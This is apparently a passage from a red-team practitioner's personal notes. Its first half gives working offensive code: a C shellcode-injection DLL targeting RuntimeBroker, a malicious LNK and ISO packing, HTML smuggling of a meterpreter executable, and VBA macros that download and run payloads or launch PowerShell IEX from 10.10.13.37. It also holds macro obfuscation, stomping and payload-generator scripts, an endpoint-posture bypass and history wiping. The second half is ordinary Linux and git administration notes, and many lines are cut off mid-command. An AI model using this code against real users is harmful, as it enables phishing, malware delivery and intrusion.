OBJECT_ATTRIBUTES oa;
CLIENT_ID cid = { (HANDLE)entry.th32ProcessID, NULL };
InitializeObjectAttributes(&oa, nullptr, 0, nullptr, nullptr);

status = ZwOpenProcess(&hProc, PROCESS_ALL_ACCESS, &oa, &cid);

if (!NT_SUCCESS(status))
continue;

return hProc;
}
} while (Process32Next(snapshot, &entry));
}
ZwClose(snapshot);

return NULL;
}

// Credit: Sektor7 RTO Malware Essential Course


int AESDecrypt(char* payload, unsigned int payload_len, char* key, size_t keylen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;

if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT


if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) return -1;
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)) return -1;
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) return -1;
if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)payload, (DWORD*)&payloa

CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);

return 0;
}

DWORD WINAPI Run(LPVOID lpParameter) {


if (LoadNtdllFunctions() == FALSE)
return -1;

char RuntimeBroker_str[] = { 0x3d,0x05,0x14,0x18,0x11,0x06,0x0b,0x21,0x15,0x1b,


XOR((char*)RuntimeBroker_str, 17);
HANDLE hProc = GetProcHandlebyName(RuntimeBroker_str);
if (hProc == NULL)
return -1;

FILE* fp;
size_t shellcodeSize;
unsigned char* shellcode;
char OneDriveUpdate_str[] = { 0x20,0x1e,0x1f,0x28,0x0a,0x02,0x18,0x06,0x49,0x21
XOR((char*)OneDriveUpdate_str, 15);
fp = fopen(OneDriveUpdate_str, "rb");
fseek(fp, 0, SEEK_END);
shellcodeSize = ftell(fp);
fseek(fp, 0, SEEK_SET);
shellcode = (unsigned char*)malloc(shellcodeSize);
fread(shellcode, shellcodeSize, 1, fp);

char key[] = { 0x13,0x33,0x33,0x37 };


AESDecrypt((char*)shellcode, shellcodeSize, key, sizeof(key));

HANDLE hSection = NULL;


SIZE_T size = shellcodeSize;
LARGE_INTEGER sectionSize = { size };
NTSTATUS status = NULL;

if ((status = ZwCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, (PLARGE_INTE


return -1;

PVOID pLocalView = NULL, pRemoteView = NULL;


if ((status = ZwMapViewOfSection(hSection, GetCurrentProcess(), &pLocalView, NU
return -1;

memcpy(pLocalView, shellcode, shellcodeSize);

if ((status = ZwMapViewOfSection(hSection, hProc, &pRemoteView, NULL, NULL, NUL


return -1;

LARGE_INTEGER interval;
interval.QuadPart = -1 * (int)(4270 * 10000.0f);

if ((status = ZwDelayExecution(TRUE, &interval)) != STATUS_SUCCESS)


return -1;

HANDLE hThread = NULL;


if ((status = ZwCreateThreadEx(&hThread, 0x1FFFFF, NULL, hProc, pRemoteView, NU
return -1;

ResumeThread(hThread);

interval.QuadPart = -1 * (int)(4270 * 10000.0f);


if ((status = ZwDelayExecution(TRUE, &interval)) != STATUS_SUCCESS)
return -1;

return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)


HANDLE threadHandle;

switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
threadHandle = CreateThread(NULL, 0, Run, NULL, 0, NULL);
CloseHandle(threadHandle);
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
Sleep(5000);
break;
}

return TRUE;
}

Include

CreateSection.h
#pragma once
#include <Windows.h>
#include <stdio.h>

#if !defined NTSTATUS


typedef LONG NTSTATUS;
#endif

#define STATUS_SUCCESS 0
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) == STATUS_SUCCESS)

#if !defined PROCESSINFOCLASS


typedef LONG PROCESSINFOCLASS;
#endif

#if !defined PPEB


typedef
#endif struct _PEB* PPEB;

#if !defined PROCESS_BASIC_INFORMATION


typedef struct _PROCESS_BASIC_INFORMATION {
PVOID Reserved1;
PPEB PebBaseAddress;
PVOID Reserved2[2];
ULONG_PTR UniqueProcessId;

PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;
#endif;

typedef struct _UNICODE_STRING {


USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {


ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

typedef struct _CLIENT_ID


{
PVOID UniqueProcess;
PVOID UniqueThread;
} CLIENT_ID, * PCLIENT_ID;

typedef OBJECT_ATTRIBUTES* POBJECT_ATTRIBUTES;


#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}

NTSTATUS(NTAPI* ZwOpenProcess)
(_Out_ PHANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_opt_ PCLIENT_ID ClientID);

NTSTATUS(NTAPI* ZwCreateSection)
(_Out_ PHANDLE SectionHandle, _In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_opt_ PLARGE_INTEGER MaximumSize, _In_ ULONG SectionPageProtection,
_In_ ULONG AllocationAttributes, _In_opt_ HANDLE FileHandle);

NTSTATUS(NTAPI* ZwMapViewOfSection)
(_In_ HANDLE SectionHandle, _In_ HANDLE ProcessHandle,
_Inout_ PVOID* BaseAddress, _In_ ULONG_PTR ZeroBits, _In_ SIZE_T CommitSize
_Inout_opt_ PLARGE_INTEGER SectionOffset, _Inout_ PSIZE_T ViewSize,
_In_ DWORD InheritDisposition, _In_ ULONG AllocationType,
_In_ ULONG Win32Protect);

NTSTATUS(NTAPI* ZwCreateThreadEx)
(_Out_ PHANDLE ThreadHandle, _In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, _In_ HANDLE ProcessHandle,
_In_ PVOID StartRoutine, _In_opt_ PVOID Argument, _In_ ULONG CreateFlags,
_In_opt_ ULONG_PTR ZeroBits, _In_opt_ SIZE_T StackSize,
_In_opt_ SIZE_T MaximumStackSize, _In_opt_ PVOID AttributeList);

NTSTATUS(NTAPI* ZwDelayExecution)
(_In_ BOOL Alertable,
_In_ PLARGE_INTEGER DelayInterval);

NTSTATUS(NTAPI* ZwUnmapViewOfSection)
(_In_ HANDLE ProcessHandle,
_In_opt_ PVOID BaseAddress);

NTSTATUS(NTAPI* ZwClose)(_In_ HANDLE Handle);

Create a malicious link:

$obj = New-object -comobject wscript.shell


$link = $obj.createshortcut("C:\out\clickme.lnk")
$link.windowstyle = "7"
$link.targetpath = "%windir%/system32/cmd.exe"
$link.iconlocation = "C:\Program Files (x86)\Windows NT\Accessories\WordPad.exe"
$link.arguments = "/c start OneDriveStandaloneUpdater.exe"
$link.save()

Pack all the files into an ISO with PackMyPayload:

PS > python .\PackMyPayload.py C:\out\ C:\out\openme.iso --out-format iso --hide OneDrive.Upda

HTML Smuggling

https://github.com/nccgroup/demiguise
How-to:

1. Base64 code is placed into an array buffer, byte-by-byte.

2. The array buffer is placed into the binary blob.

3. A hidden a tag is created.

4. The data from the binary blob is moved to the href reference of the a tag.

5. The code from the binary blob is given the file name of evil.exe .

6. Finally, a click action is performed to download the file.

smuggling.html
<html>
<body>
<script>
function base64ToArrayBuffer(base64) {
var binary_string = window.atob(base64);
var len = binary_string.length;
var bytes = new Uint8Array( len );
for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); }
return bytes.buffer;
}
// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 -f e
// base64 -w0 evil.exe | xclip -i -sel clipboard
var file ='<METERPRETER_BASE64_CONTENTS>'
var data = base64ToArrayBuffer(file);
var blob = new Blob([data], {type: 'octet/stream'});
var fileName = 'evil.exe';
var a = document.createElement('a');
document.body.appendChild(a);
a.style = 'display: none';
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);
</script>
</body>
</html>

This page will work when browsed with Google Chrome (since it supports
window.URL.createObjectURL ). This technique must be modified to work against
browsers like IE or Microsoft Edge.

SharpShooter
https://www.mdsec.co.uk/2018/03/payload-generation-using-sharpshooter/

https://github.com/mdsecactivebreach/SharpShooter

$ python SharpShooter.py --payload js --delivery web --output evil --web http://10.10.13.37/ev

MS Office

MS Word Document with Switcheroo Text

1. Place "encrypted" data in a Word document after the pretext (random base64): head -c 2K <
/dev/urandom > rnd && base64 rnd .
2. Create an AutoText: Insert > Quick Parts > AutoTexts > Save Selection as DecryptedBody to
AutoText Gallery.

3. Create a macro to "decrypt" the body with readable content according to the phishing legend.

DecryptPage.vba
Sub Document_Open()
DecryptPage
End Sub

Sub AutoOpen()
DecryptPage
End Sub

Sub DecryptPage()
ActiveDocument.Content.Select
Selection.Delete
ActiveDocument.AttachedTemplate.AutoTextEntries("DecryptedBody").Insert Where:=Selection.Ran
End Sub

VBA Stomping

Manually

1. Create a .doc file with a malicious VBA macro.

2. Open it with FlexHEX: File > Open > OLE Compound File.
3. Open Macros > VBA > NewMacros file.
4. Locate the Attribute VB_Name ASCII string (starts with \x41\x74\x74... ) and replace all the
bytes with zeros till the end of the file: Edit > Insert Zero Block.
5. Save the .doc and exit.

Now the VBA source code is wiped and execution of macro will be performed via the P-code (if the victim's
MS Word is the same).

After the macro is executed this way MS Word will decompile the P-code and put the VBA source
code back into the NewMacros file, so it will reappear in the VBA editor as well.

EvilClippy

https://github.com/outflanknl/EvilClippy

PS > .\EvilClippy.exe -s fakecode.vba macrofile.doc

DownloadWaitExec.vba
Sub Document_Open()
Hello
End Sub

Sub AutoOpen()
Hello
End Sub

Sub Hello()
MsgBox ("Hello, World!")
End Sub

VBA Macros
Wait till a malicious binary is downloaded with PowerShell and execute it:

fakecode.vba
Sub Document_Open()
hShellcodeRunner
End Sub
Sub AutoOpen()
hShellcodeRunner
End Sub
Sub DownloadWaitExec()
Dim str As String
str = "powershell (New-Object System.Net.WebClient).DownloadFile('http://10.10.13.37/evil.ex
Shell str, vbHide
Dim exePath As String
exePath = ActiveDocument.Path + "\evil.exe"
Wait (2)
Shell exePath, vbHide
End Sub
Sub Wait(n As Long)
Dim t As Date
t = Now
Do
DoEvents
Loop Until Now >= DateAdd("s", n, t)

End Sub

De-Chain PowerShell via WMI

https://blog.f-secure.com/dechaining-macros-and-evading-edr/

De-chain PowerShell process from MS Word parent process via WMI:

StageWMI.vba
Sub Evil
Dim strArg As String
strArg = "powershell -exec bypass -nop -c IEX(New-Object Net.WebClient).DownloadString('http
GetObject("winmgmts:").Get("Win32_Process").Create strArg, Null, Null, pid
End Sub

Obfuscate it using StrReverse (CyberChef or Code Beautify):

StrReverseStageWMI.vba
Function Pony(flowers)
Pony = StrReverse(flowers)
End Function

Sub Evil
Dim strArg As String
strArg = Pony(")'txt.nur/73.31.01.01//:ptth'(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN(XEI c-
GetObject(Pony(":stmgmniw")).Get(Pony("ssecorP_23niW")).Create strArg, Null, Null, pid
End Sub

Obfuscate it using xor encryption and add heuristics detection check based on comparing the .doc name
with current window name via ActiveDocument.Name :

XORStageWMI.vba
Function Pears(beets)
Pears = Chr(beets Xor Asc("a"))
End Function
Function Strawberries(grapes)
Strawberries = Left(grapes, 3)
End Function

Function Almonds(jelly)
Almonds = Right(jelly, Len(jelly) - 3)
End Function

Function Nuts(milk)
Do
Oatmilk = Oatmilk + Pears(Strawberries(milk))

milk = Almonds(milk)
Loop While Len(milk) > 0
Nuts = Oatmilk
End Function

Function Evil()
If ActiveDocument.Name <> Nuts("016022004079005014002") Then
Exit Function
End If
Dim Apples As String
Dim Water As String
Apples = "31.." _
& "33.." _
& "33.." _
& "37.."
Water = Nuts(Apples)
GetObject(Nuts("022008015012006012021018091")).Get(Nuts("05400801508208306204901901400200401
End Function

Sub Document_Open()
Evil
End Sub

Sub AutoOpen()
Evil
End Sub

Helpers
Generate a ready-to-paste malicios MS Word macro (execution is provided by VBA Shell function):

gen_doc_autoopen_payload_vbshell.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import sys
from base64 import
argparse b64encode
import ArgumentParser

parser = ArgumentParser()
parser.add_argument('pwsh_file', help='PowerShell script to execute')
parser.add_argument('--chunk-size', type=int, default=200, help='length of a payload chunk lin
args = parser.parse_args()

def gen_payload_vbshell(pwsh_file, chunk_size):


with open(pwsh_file, 'r', encoding='utf-8') as f:
payload = f.read()

payload = payload.encode('utf-16le')
payload = b64encode(payload).decode()
payload = [payload[i:i + chunk_size] for i in range(0, len(payload), chunk_size)]
payload = [f'"{chunk}"' for chunk in payload]
payload = ' _\r\n& '.join(payload)

payload = f"""\
Sub AutoOpen()\r
Evil\r
End Sub\r
\r
Sub Document_Open()\r
Evil\r
End Sub\r
\r
Sub Evil()\r
Text = "powershell -exec bypass -nop -nologo -w hidden -enc " _\r
& {payload}\r
a = Shell(Text, vbHide)\r
End Sub\
""".replace('\t', '')

return payload

if __name__ == '__main__':
print(gen_payload_vbshell(args.pwsh_file, args.chunk_size))

Generate a ready-to-paste malicios MS Word macro (execution is provided by WScript.Shell):

gen_doc_autoopen_payload_wscript_shell.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import sys
from base64 import b64encode
from argparse import ArgumentParser
parser = ArgumentParser()
parser.add_argument('pwsh_file', help='PowerShell script to execute')
parser.add_argument('--chunk-size', type=int, default=50, help='length of a payload chunk line
args = parser.parse_args()

def gen_payload_wscript_shell(pwsh_file, chunk_size):


with open(pwsh_file, 'r', encoding='utf-8') as f:
chunks = f.read()

chunks = chunks.encode('utf-16le')
chunks = b64encode(chunks).decode()

chunks = [chunks[i:i+chunk_size] for i in range(0, len(chunks), chunk_size)]


chunks = [f'"{chunk}"' for chunk in chunks]

print('Sub AutoOpen()\r')
print(' Evil\r')
print('End Sub\r\n')

print('Sub Document_Open()\r')
print(' Evil\r')
print('End Sub\r\n')

print('Sub Evil()\r')
print(' Dim Text As String\r')
print(' Text = "powershell -exec bypass -nop -nologo -w hidden -enc "\r')

for chunk in chunks:


print(f' Text = Text + {chunk}\r')

print(' CreateObject("WScript.Shell").Run Text\r')


print('End Sub')

if __name__ == '__main__':
print(gen_payload_wscript_shell(args.pwsh_file, args.chunk_size))

Tools

https://github.com/decalage2/oletools
https://github.com/sevagas/macro_pack

⚙️ Admin
Git
Add SSH key to the ssh-agent:

$ eval "$(ssh-agent -s)"


$ ssh-add ~/.ssh/id_rsa

Update to latest version:

$ sudo add-apt-repository ppa:git-core/ppa -y


$ sudo apt update
$ sudo apt install git -y
$ git version

Show global origin config:

$ git config --list --show-origin

Pull Requests
Syncing a forked repository:

# Add remote upstream


$ git remote add upstream https://github.com/original/repository.git
$ git fetch upstream
$ git rebase upstream/master (or git merge upstream/master)

# Update fork from original repo


$ git pull upstream master

# Push the updates to fork


$ git push -f origin master

Working with a repository during a pull request:

$ git remote add upstream https://github.com/original/repository.git


$ git fetch upstream
$ git rebase upstream/master
$ git checkout upstream/master
$ git checkout -b new-feature
...Make changes...
$ gc -am "Add a new feature"
$ git push -u origin new-feature
Signing Git Commits

https://www.youtube.com/watch?v=1vVIpIvboSg

https://www.youtube.com/watch?v=4166ExAnxmo

Cache passphrase in gpg agent (dirty):

$ cd /tmp && touch aaa && gpg --sign aaa && rm aaa aaa.gpg && cd -

Submodules

https://tech.serhatteker.com/post/2019-01/changing-git-submodules-urlbranch-to/

Edit submodule branch:

$ git config --file=.gitmodules -l | grep branch


$ git config --file=.gitmodules submodule.Submod.branch development
$ git submodule sync
$ git submodule update --init --recursive --remote

Linux

Encodings
From CP1252 to UTF-8:

$ iconv -f CP1252 -t UTF8 inputfile.txt -o outputfile.txt


Or
$ enconv -x UTF8 somefile.txt

Check:

$ enconv -d somefile.txt
Or
$ file -i somefile.txt

Remove ANSI escape codes:

$ awk '{ gsub("\\x1B\\[[0-?]*[ -/]*[@-~]", ""); print }' somefile.txt


Windows/Unix Text

input.txt: ASCII text


VS
input.txt: ASCII text, with CRLF line terminators

From Win to Unix:

$ awk '{ sub("\r$", ""); print }' input.txt > output.txt


Or
$ dos2unix input.txt

From Unix to Win:

$ awk 'sub("$", "\r")' input.txt > output.txt


Or
$ unix2dos input.txt

Network

Connections

$ netstat -anlp | grep LIST


$ ss -nlpt | grep LIST

Public IP

$ wget -q -O - https://ipinfo.io/ip

Virtual Terminal

Start:
CTRL + ALT + F1-6

Stop:
ALT + F8
Process Kill

$ ps aux | grep firefox


Or
$ pidof firefox

$ kill -15 <PID>


Or
$ kill -SIGTERM <PID>
Or
$ kill <PID>

If -15 signal didn't help, use stronger -9 signal:


$ kill -9 <PID>
Or
$ kill -SIGKILL <PID>

OpenSSL

Encrypt/Decrypt

$ openssl enc -e -aes-128-ecb -in file.txt -out file.txt.ecb -K 10101010


$ openssl enc -d -aes-128-ecb -in file.txt.ecb -out file.txt.ecb_dec -K 10101010

$ echo 'secret_data1 + secret_data2 + secret_data3' | openssl enc -e -aes-256-cbc -a -salt -md


$ echo 'U2FsdGVkX1+d1qH1M3nhYFKscrg5QYt+AlTSBPHgdB4JEP8YSy1FX+xYdrfJ5cZgfoGrW+2On7lMxRIhKCUmWQ

Generate Keys

$ ssh-keygen -t rsa -b 4096 -N 's3cr3t_p4ssw0rd' -C '[email protected]' -f rsa_key


$ mv rsa_key rsa_key.old
$ openssl pkcs8 -topk8 -v2 des3 \
-in rsa_key.old -passin 'pass:s3cr3t_p4ssw0rd' \
-out rsa_key -passout 'pass:s3cr3t_p4ssw0rd'
$ chmod 600 rsa_key

$ openssl rsa -text -in rsa_key -passin 'pass:s3cr3t_p4ssw0rd'


$ openssl asn1parse -in rsa_key

$ ssh-keygen -o -a 100 -t ed25519 -f ~/.ssh/id_ed25519


GPG

https://www.linode.com/docs/security/encryption/gpg-keys-to-send-encrypted-messages/
https://habr.com/ru/post/358182/

https://hackware.ru/?p=8215

List keychain:

$ gpg --list-keys

Gen key:

$ gpg --full-generate-key [--expert]

Gen revoke cert:

$ gpg --output revoke.asc --gen-revoke [email protected]


revoke.asc

Export user's public key:

$ gpg --armor --output user.pub --export [email protected]


user.pub

Import recipient's public key:

$ gpg --import recipient.pub

Sign and encrypt:

$ gpg -o/--output encrypted.txt.gpg -e/--encrypt -s/--sign -u/--local-user [email protected] -


encrypted.txt.gpg

List recipients:

$ gpg --list-only -v -d/--decrypt encrypted.txt.gpg

Verify signature:

$ gpg --verify signed.txt.gpg


$ gpg --verify signed.txt.sig signed.txt
Decrypt and verify:

$ gpg -o/--output decrypted.txt -d/--decrypt --try-secret-key [email protected] encrypted.txt


$ gpg -o/--output decrypted.txt -d/--decrypt -u/--local-user [email protected] -r/--recipient

Cleanup

Log Files

$ > logfile
Or
$ cat /dev/null > logfile
Or
$ dd if=/dev/null of=logfile
Or
$ truncate logfile --size 0

.bash_history

https://askubuntu.com/a/832345

$ cat /dev/null > ~/.bash_history && history -c && exit


$ history -c && history -w && exit
$ rm -f ~/.bash_history && kill -9 $$

.zsh_history

$ cat /dev/null > ~/.zsh_history && history -p && exit


$ history -c && history -w && exit
$ rm -f ~/.zsh_history && kill -9 $$

Secure Delete

$ shred -zvu -n7 /path/to/file


$ find /path/to/dir -type f -exec shred -zvu -n7 {} \\;
$ shred -zv -n0 /dev/sdc1
Partitions

How to extend Ubuntu server root partition (Step by Step guide)

List devices:

$ lsblk
$ sudo fdisk -l
$ df -h

Manage partitions:

$ sudo fdisk /dev/sd??

Format:

$ sudo umount /dev/sd??


$ sudo mkfs.<type> -F 32 -I /dev/sd?? -n VOLUME-NAME
type: 'msdos' (=fat32), 'ntfs'

Floppy

$ mcopy -i floppy.img 123.txt ::123.txt


$ mdel -i floppy.img 123.TXT
Checksums
Compare file hashes:

$ md5sum /path/to/abc.txt | awk '{print $1, "/path/to/cba.txt"}' > /tmp/checksum.txt


$ md5sum -c /tmp/checksum.txt

Compare directory hashes:

$ hashdeep -c md5 -r /path/to/dir1 > dir1hashes.txt


$ hashdeep -c md5 -r -X -k dir1hashes.txt /path/to/dir2

Permissions
Set defaults for files:

$ find . -type f -exec chmod 644 {} \;

Set defaults for directories:

$ find . -type d -exec chmod 755 {} \;

Fix Linux Freezes while Copying

$ sudo crontab -l | { cat; echo '@reboot echo $((16*1024*1024)) > /proc/sys/vm/dirty_backgroun


$ sudo crontab -l | { cat; echo '@reboot echo $((48*1024*1024)) > /proc/sys/vm/dirty_bytes'; }

Kernel
Remove old kernels:

$ dpkg -l linux-image-\* | grep ^ii


$ kernelver=$(uname -r | sed -r 's/-[a-z]+//')
$ dpkg -l linux-{image,headers}-"[0-9]*" | awk '/ii/{print $2}' | grep -ve $kernelver
$ sudo apt-get purge $(dpkg -l linux-{image,headers}-"[0-9]*" | awk '/ii/{print $2}' | grep -v
Xfce4
Install xfce4 :

$ sudo apt update


$ sudo apt upgrade -y

$ sudo apt install xfce4 xfce4-terminal gtk2-engines-pixbuf -y

GIFs

$ sudo apt install peek -y


Or
$ sudo apt install byzanz xdotool -y
$ xdotool getmouselocation
$ byzanz-record --duration=15 --x=130 --y=90 --width=800 --height=500 ~/Desktop/out.gif

NTP

$ sudo apt purge ntp -y


$ sudo timedatectl set-timezone Europe/Moscow
$ sudo vi /etc/systemd/timesyncd.conf
NTP=0.ru.pool.ntp.org 1.ru.pool.ntp.org 2.ru.pool.ntp.org 3.ru.pool.ntp.org
$ sudo service systemd-timesyncd restart
$ sudo timedatectl set-ntp true
$ timedatectl status
$ service systemd-timesyncd status
$ service systemd-timedated status

1. https://feeding.cloud.geek.nz/posts/time-synchronization-with-ntp-and-systemd/
2. http://billauer.co.il/blog/2019/01/ntp-systemd/

ImageMagick
XOR 2 images:
$ convert img1.png img2.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" img_out

Utilities Syntax

tar

.tar

Pack:

tar -cvf directory.tar directory

Unpack:

tar -xvf directory.tar

.tar.gz

Pack:

tar -cvzf directory.tar.gz directory

Unpack:

tar -xvzf directory.tar.gz

.tar.bz

Pack:

tar -cvjf directory.tar.bz directory

Unpack:

tar -xvjf directory.tar.bz

scp

Local file to a remote system:


$ scp [-P 2222] file txt snovvcrash@10 10 13 37:/remote/directory

Remote file to a local system:

$ scp [-P 2222] [email protected]:/remote/file.txt /local/directory

7z

Encrypt and pack all files in directory::

$ 7z a packed.7z -mhe -p"p4sSw0rD" *

Decrypt and unpack:

$ 7z e packed.7z -p"p4sSw0rD"

Best compression:

$ 7z a -t7z -m0=lzma -mx=9 -mfb=64 -md=32m -ms=on files.7z files/

grep/find/sed

Recursive grep:

$ grep -nwr 'pattern' /path/to/dir

Recursive find and replace:

$ find . -type f -name "*.txt" -exec sed -i'' -e 's/\<foo\>/bar/g' {} +

Exec strings and grep on the result with printing filenames:

$ find . -type f -print -exec sh -c 'strings $1 | grep -i -n "signature"' sh {} \;

Find and xargs grep results:

$ find . -type f -print0 | xargs -0 grep <PATTERN>

readlink

Get absolute path of a file:


$ readlink -f somefile txt

paste

Concatenate text files with a delimeter line by line:

$ paste -d':' a.txt b.txt > c.txt

dpkg

$ dpkg -s <package_name>
$ dpkg-query -W -f='${Status}' <package_name>
$ OUT="dpkg-query-$(date +'%FT%H%M%S').csv"; echo 'package,version' > ${OUT} && dpkg-query -W

veracrypt

https://www.veracrypt.fr/en/Downloads.html

# Mount volume
$ veracrypt -t --pim=0 --keyfiles='' --protect-hidden=no /home/snovvcrash/SecretVolume.dat /mn
# Unmount all
$ veracrypt -d

openconnect

GlobalProtect

Connect:

$ sudo openconnect --protocol=gp gp.megacorp.com -u snovvcrash

Bypass HIP:

https://www.infradead.org/openconnect/hip.html
https://gitlab.com/openconnect/openconnect/blob/master/trojans/hipreport.sh

PS > Rename-Item "C:\Program Files\Palo Alto Networks\GlobalProtect\PanGpHip.exe" "PanGpHip.ex


PS > Rename-Item "C:\Program Files\Palo Alto Networks\GlobalProtect\PanGpHipMp.exe" "PanGpHipM
PS > Rename-Item "C:\Program Files\Palo Alto Networks\GlobalProtect\wa_3rd_party_host_64.exe"
LAMP
https://stackoverflow.com/a/46908573

# PHP
$ sudo add-apt-repository ppa:ondrej/php -y
$ sudo apt update
$ sudo apt install php7.2 -y
$ sudo apt install php7.2-curl php7.2-gd php7.2-json php7.2-mbstring -y

# Apache
$ sudo apt install apache2 libapache2-mod-php7.2 -y
$ sudo service apache2 restart

# MySQL
$ sudo apt install mysql-server php7.2-mysql
$ sudo mysql_secure_installation
$ service mysql restart

# Test
$ sudo sh -c 'echo "<?php phpinfo(); ?>" > phpinfo.php'
-> http://127.0.0.1/phpinfo.php

Fun

CMatrix

$ sudo apt-get install cmatrix

screenfetch

$ wget -O screenfetch https://raw.github.com/KittyKatt/screenFetch/master/screenfetch-dev


$ chmod +x screenfetch
$ sudo mv screenfetch /usr/bin

Kali

https://www.kali.org/docs/general-use/kali-linux-sources-list-repositories/
Branches
Switch to the most stable branch:

$ echo "deb http://http.kali.org/kali kali-last-snapshot main non-free contrib" | sudo tee /et

Setup Checklist
Mix settings list (both for hardware install and virtualization):

[VM] Disable screen lock (Power Manager -> Display, Security -> OFF)
[VM] Configure networks (+ remember to configure VBox DHCP first)
[All] Update && Upgrade (+ change /etc/apt/sources.list to HTTPS if getting "403 Forbidden" be
$ sudo apt update && sudo upgrade -y
$ sudo reboot
[VM] Install guest additions
* Insert Guest Additions CD image and open terminal there
$ cp /media/cdrom0/VBoxLinuxAdditions.run ~/Desktop && chmod 755 ~/Desktop/VBoxLinuxAd
$ sudo reboot
$ rm ~/Desktop/VBoxLinuxAdditions.run && sudo eject
[ALL] Manage users
* Enable root or create new user
SWITCH {
CASE (root):
$ sudo -i
$ passwd root
* Re-login as root
CASE (non-root):
$ sudo useradd -m -s /bin/bash -u 1337 snovvcrash
$ sudo passwd snovvcrash
$ sudo usermod -aG sudo snovvcrash
* Re-login as snovvcrash
}
* Disable kali user [VM]
SWITCH {
CASE (lock):
$ sudo usermod -L kali
$ sudo usermod -s /sbin/nologin kali
$ sudo chage -E0 kali
CASE (delete):
$ sudo userdel -r kali
}
[ALL] Configure sudo
* Increase sudo password timeout value or disable password prompt completely
$ sudo visudo
SWITCH {
CASE (increase timeout):
$ sudo sh -c 'echo "Defaults env_reset,timestamp_timeout=45
CASE (disable password):
$ sudo sh -c 'echo "snovvcrash ALL=(ALL) NOPASSWD: ALL" > /etc
}
[ALL] Clone dotfiles
$ git clone https://github.com/snovvcrash/dotfiles-linux ~/.dotfiles
[ALL] Run ~/.dotfiles/00-autoconfig scripts on the discretion

Console Logging

script

$ script ~/ws/shells/`date "+%FT%H%M%S"`.script

tmux

https://github.com/tmux-plugins/tmux-logging

bash ~/.tmux/plugins/tmux-logging/scripts/screen_capture.sh
bash ~/.tmux/plugins/tmux-logging/scripts/save_complete_history.sh

Time in Prompt

bash

~/.bashrc (replace ! with % ):

PS1='${debian_chroot:!($debian_chroot)}[\D!d}|\D{!k:!M}] \[\033[01;32m\]λ \[\033[00m\]\[\033

zsh

$ZSH_CUSTOM/themes/robbyrussell.zsh-theme (replace ! with % ):

PROMPT="!(?:!{$fg_bold[green]!}➜ :!{$fg_bold[red]!}➜ ) "


PROMPT+='!{$fg[cyan]!}!(4~|!-1~/…/!2~|!3~)!{$reset_color!} $(git_prompt_info)'

if lsof -tac script "$(tty)" > /dev/null; then


PROMPT="[!D{!d}|!D{!k:!M}]* $PROMPT"
else
PROMPT="[!D{!d}|!D{!k:!M}] $PROMPT"
fi
Tricks

Paperify

When dealing with an engagement where there's no internet access available on the attacker's box, one can
use paperify to send data to her teammates (hashes to brute force, for example).

Zip the hashes with best compression, base64 the archive and create a QR code:

$ 7z a -t7z -m0=lzma -mx=9 -mfb=64 -md=32m -ms=on archive.7z tgsrep.in


$ base64 -w0 archive.7z > 7z
$ ./paperify.sh 7z

